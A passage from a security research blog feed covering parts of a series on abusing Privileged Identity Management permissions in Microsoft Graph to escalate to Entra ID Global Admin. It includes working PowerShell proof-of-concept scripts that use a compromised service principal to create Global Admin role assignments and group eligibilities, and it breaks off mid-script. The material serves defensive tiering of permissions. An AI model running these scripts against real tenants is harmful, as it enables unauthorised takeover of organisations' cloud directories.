&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/07_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/07_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;privilege-escalation-via-pim-group-eligibility-and-activation&quot;&gt;Privilege escalation via PIM group eligibility and activation&lt;/h2&gt;

&lt;h3 id=&quot;overview-of-abuse-information-1&quot;&gt;Overview of abuse information&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Abused application permission&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can become eligible to a group with an active Global Admin assignment, and activate the group membership to escalate to Global Admin.&lt;/td&gt;
      &lt;td&gt;TA makes a controlled user account eligible to a group that is actively assigned the Global Admin role, activates the group membership and escalates to Global Admin. &lt;br /&gt;Note: if the eligibility assignment or membership activation requires to meet specific requirements such as admin approval, this path needs to be combined with the &lt;a href=&quot;#rolemanagementpolicy-readwrite-azureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission to be successful (see &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;Part 3&lt;/a&gt; of the series for more info).&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;attack-path-visualization-1&quot;&gt;Attack path visualization&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/08_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/08_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept-1&quot;&gt;Proof of Concept&lt;/h3&gt;
&lt;p&gt;We will assume that we are in a scenario where we have compromised a service principal with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission, and where we control an unprivileged user account with no group assignment:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/09_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/09_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/10_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/10_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will also assume that we have identified a user group called “Global Admins” that is permanently assigned the Global Admin role. Only emergency break-glass accounts are active members of the group, while nobody is eligible:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/11_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/11_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PowerShell code to leverage the compromised “Harmless app” and make our “Harmless user account” eligible as a member of the “Global Admins” group is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Set group info
$groupId = &apos;&apos;
$groupRole = &apos;member&apos;   # &apos;member&apos; or &apos;owner&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request PIM group eligibility
$threeHoursAgo = (get-date).AddHours(-3).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)
$uri = &apos;https://graph.microsoft.com/beta/identityGovernance/privilegedAccess/group/eligibilityScheduleRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$eligibleAssignment = @{
    action = &apos;adminAssign&apos;
    justification = &apos;PoC&apos;
    accessId = $groupRole
    principalId = $userId
    groupId = $groupId
    scheduleInfo = @{
        startDateTime = $threeHoursAgo
        expiration = @{
            type = &apos;afterDuration&apos;
            duration = &apos;PT5H&apos;
        }
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;By executing the above PowerShell script, we can confirm that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission can be leveraged to make a controlled user account eligible to the “Global Admins” group:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/12_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/12_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/13_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/13_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step is to log in with the user account and activate the membership, to become an active member of the “Global Admins” group and endorse the Global Admin role (&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;what if the activation requires admin approval?&lt;/a&gt;):&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/14_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/14_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We have seen that both the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission represent a risk for escalating to Global Admin. Similar to those discussed in &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1/&quot;&gt;Part 1&lt;/a&gt; of the series, these application permissions should therefore be classified as Tier-0, due to their risk of having a path to Global Admin.&lt;/p&gt;

&lt;p&gt;Finally, some readers may wonder about situations where eligible PIM assignments and activations require meeting additional requirements, such as MFA or the approval from an administrator. Stay assured, discussing how to disable those constraints is already available in &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3/&quot;&gt;part 3&lt;/a&gt; of this series 😊&lt;/p&gt;
</description>
          <pubDate>2024-07-31T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2/</guid>
        </item>
      
    
      
        <item>
          <title>Abusing PIM-related application permissions in Microsoft Graph - Part 1</title>
          <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;One of my latest projects has been to develop a tier model based on known attack paths to categorize Entra roles and Microsoft Graph application permissions. The project lead me to researching specific application permissions potentially classified as Tier-0, but with no public resource documenting their abuse.&lt;/p&gt;

&lt;p&gt;In my mind (or at least in the tier model I am developing), “Tier-0” contains application permissions with at least &lt;em&gt;one&lt;/em&gt; scenario where they can be abused to escalate to Global Admin. During my research, I have discovered a large number of Tier-0 permissions related to Privileged Identity Management (PIM), which I thought should be better known by the public.&lt;/p&gt;

&lt;h3 id=&quot;overview-of-the-series&quot;&gt;Overview of the series&lt;/h3&gt;

&lt;p&gt;The original idea was to write a single post documenting all PIM-related application permissions that could be abused to escalate to Global Admin. I quickly realized the final post would be too large to digest, so I decided to make a series out it.&lt;/p&gt;

&lt;p&gt;This series is structured as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;&lt;strong&gt;Part 1&lt;/strong&gt;: Escalating to Global Admin via active assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2&quot;&gt;&lt;strong&gt;Part 2&lt;/strong&gt;: Escalating to Global Admin via eligible assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;&lt;strong&gt;Part 3&lt;/strong&gt;: Bypassing assignment, eligibility and activation requirements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4&quot;&gt;&lt;strong&gt;Part 4&lt;/strong&gt;: Investigating legacy permissions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-permissions-are-addressed-in-this-post&quot;&gt;What permissions are addressed in this post?&lt;/h3&gt;

&lt;p&gt;This post discusses the following MS Graph application permissions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;previous-work-about-the-abuse-of-specific-permissions&quot;&gt;Previous work about the abuse of specific permissions&lt;/h3&gt;

&lt;p&gt;The abuse of MS Graph application permissions for escalating privileges in Entra ID and other Microsoft 365 services is not a new topic. For references about previous work in this area, I have tried to collect sources documenting the abuse of specific permissions in the following overview:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Application permission&lt;/th&gt;
      &lt;th&gt;Research documenting abuse for privilege escalation&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#approleassignmentreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AppRoleAssignment.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48&quot;&gt;https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48&lt;/a&gt;&lt;br /&gt; &lt;a href=&quot;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&quot;&gt;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#directoryreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Directory.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://posts.specterops.io/directory-readwrite-all-is-not-as-powerful-as-you-might-think-c5b09a8f78a8&quot;&gt;https://posts.specterops.io/directory-readwrite-all-is-not-as-powerful-as-you-might-think-c5b09a8f78a8&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#userauthenticationmethodreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserAuthenticationMethod.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://posts.specterops.io/id-tap-that-pass-8f79fff839ac&quot;&gt;https://posts.specterops.io/id-tap-that-pass-8f79fff839ac&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#policyreadwritepermissiongrant&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Policy.ReadWrite.PermissionGrant&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&quot;&gt;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagement.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48&quot;&gt;https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#userauthenticationmethodreadwriteall&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UserAuthenticationMethod.ReadWrite.All&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&quot;&gt;https://www.tenchisecurity.com/manipulating-roles-and-permissions-in-microsoft-365-environment-via-ms-graph/&lt;/a&gt; &lt;br /&gt; &lt;a href=&quot;https://posts.specterops.io/id-tap-that-pass-8f79fff839ac&quot;&gt;https://posts.specterops.io/id-tap-that-pass-8f79fff839ac&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;Don’t hesitate to let me know if I have missed something, as it is highly possible that I am not aware of all the research that has been published. Note that the idea is to collect only posts documenting the abuse of &lt;strong&gt;specific&lt;/strong&gt; application permissions (i.e. not everything about the abuse of service principals or MS Graph) 😊&lt;/p&gt;

&lt;h3 id=&quot;what-is-pim&quot;&gt;What is PIM?&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-configure&quot;&gt;Privileged Identity Management (PIM)&lt;/a&gt; is an access-management feature, which enables administrators to provide just-in-time access via eligibilities and activations. The idea is to replace permanent role assignments with a solution making users eligible to roles, and allowing them to activate them temporarily to provide just-in-time access.&lt;/p&gt;

&lt;p&gt;Users can be eligible to roles directly or via group memberships. In the first case, the user is provisioned directly with the role upon activation, while the second case temporarily adds the user to a security group that is already assigned roles permanently. The activation can be conditioned to specific requirements, such as the approval of an administrator.&lt;/p&gt;

&lt;h2 id=&quot;privilege-escalation-via-active-pim-role-assignment&quot;&gt;Privilege escalation via active PIM role assignment&lt;/h2&gt;

&lt;h3 id=&quot;overview-of-abuse-information&quot;&gt;Overview of abuse information&lt;/h3&gt;

&lt;table&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Abused application permission&lt;/td&gt;
      &lt;td&gt;Path type&lt;/td&gt;
      &lt;td&gt;Known shortest path&lt;/td&gt;
      &lt;td&gt;Example&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can assign the Global Admin role to a controlled user account, by creating an active PIM role assignment.&lt;/td&gt;
      &lt;td&gt;TA assigns the Global Admin role to a user account in their control (assigning to the compromised SP is not possible), re-authenticates with the user account and escalates to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;attack-path-visualization&quot;&gt;Attack path visualization&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/01_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/01_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt;

&lt;p&gt;We will assume that we are in a scenario where we have compromised a service principal with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission, and where we control an unprivileged user account with no assigned Entra role:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/02_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/02_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/03_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/03_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PowerShell code to leverage the compromised “Harmless app” and assign the Global Admin role to our “Harmless user account” user is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Set SP info
$tid = &apos;&apos;
$appId = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request active PIM role assignment 
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)
$uri = &apos;https://graph.microsoft.com/beta/roleManagement/directory/roleAssignmentScheduleRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$activeAssignment = @{
    action = &apos;adminAssign&apos;
    justification = &apos;PoC&apos;
    roleDefinitionId = $roleDefinitionId
    directoryScopeId = &apos;/&apos;
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = &apos;NoExpiration&apos;
        }
    }
}

$body = ConvertTo-Json -InputObject $activeAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By executing the above PowerShell script, we can confirm that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission can be leveraged to assign the Global Admin role to the controlled user via an active PIM role assignment:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/04_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/04_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/05_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/05_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;privilege-escalation-via-active-pim-group-membership-assignment&quot;&gt;Privilege escalation via active PIM group-membership assignment&lt;/h2&gt;

&lt;h3 id=&quot;overview-of-abuse-information-1&quot;&gt;Overview of abuse information&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Abused application permission&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Can become owner or member of a group with an active Global Admin assignment (i.e. can update the membership of role-assignable groups).&lt;/td&gt;
      &lt;td&gt;TA adds a controlled user account to a group that is actively assigned the Global Admin role, re-authenticates with the account and escalates to Global Admin.&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Direct&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;.&lt;/td&gt;
      &lt;td&gt;Same as &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;.&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;attack-path-visualization-1&quot;&gt;Attack path visualization&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/06_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/06_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept-1&quot;&gt;Proof of Concept&lt;/h3&gt;

&lt;p&gt;We will assume that we are in a scenario where we have compromised a service principal with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; or the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permission, and where we control an unprivileged user account with no group membership:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/07_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/07_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/08_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/08_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We will also assume that the tenant we are targeting provides administrative permissions such as Entra roles via group memberships. Emergency “break-glass” accounts are therefore provisioned as Global Admins via a dedicated security group as follows:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/09_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/09_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/10_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-25-abusing-pim-related-application-permissions-part-1/10_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PowerShell code to leverage the compromised “Harmless app” and assign our “Harmless user account” to the “Global Admins” group is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appId = &apos;&apos;
$password = &apos;&apos;
